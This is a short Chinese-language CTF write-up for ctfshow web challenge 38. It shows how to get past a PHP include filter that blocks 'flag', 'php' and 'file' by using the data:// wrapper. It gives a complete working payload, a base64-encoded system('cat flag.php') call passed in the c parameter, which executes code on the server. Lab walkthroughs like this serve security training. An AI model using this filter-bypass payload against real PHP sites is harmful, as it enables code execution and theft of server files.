ctf show web 入门38

打开靶场这道题目是之前那道题的进阶版。核心考点依然是 PHP 本地文件包含(LFI),但过滤规则显著增强了。

  1. 源码审计(核心变化)
    对比之前的题目,这次的正则表达式发生了变化:
    if(!preg_match("/flag|php|file/i", $c))
    新增黑名单:除了 flag,现在还过滤了 php 和 file。
    影响:
    你不能直接输入 flag.php(含有 flag 和 php)。
    你不能使用 php://filter(含有 php)。
    你不能使用 php://input(含有 php)。
  2. 解题思路:寻找"漏网之鱼"
    既然 php 和 file 被封杀了,我们需要寻找不需要这两个关键字的伪协议。
    所以我们可以继续使用 data:// 协议
    检查 data:// 协议本身:它不包含 php 或 file 关键字
    所以可以继续使用 Base64 编码来隐藏你的命令。
    代码:<?php system('cat flag.php');?>
    Base64 编码:PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
    最终 Payload:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
    发现页面没有回显是=说明代码执行成功我们产看源代码得到flag
相关推荐
柳鲲鹏2 小时前
内斗学概论:43、平级内斗
笔记
星恒随风5 小时前
MySQL 从零入门(四):表的增删改查与基础查询详解
linux·服务器·数据库·笔记·mysql
Z21-X6 小时前
云原生运维学习笔记:ECShop全链路容器化部署与Docker底层资源隔离深度剖析
运维·笔记·学习·云原生
晓梦林10 小时前
BUUCTF-菜刀流量-MISC-学习笔记
笔记·学习
David猪大卫1 天前
【C++修炼】map 和 set 的使用
c语言·开发语言·数据结构·c++·经验分享·笔记·学习
星恒随风1 天前
MySQL 从零入门(三):表的约束详解
linux·服务器·数据库·笔记·mysql
蒸蒸yyyyzwd1 天前
从后端面经学到的 3 个知识
笔记·学习
17岁的勇气1 天前
Unity Shader unity文档学习笔记(二十二):shader变体
笔记·学习·unity
坤坤子吖1 天前
Linux网络编程:自定义应用层协议与 JSON 序列化
linux·服务器·网络·c++·笔记·json
路灯上の马陈1 天前
Java 内部类 学习笔记
笔记·学习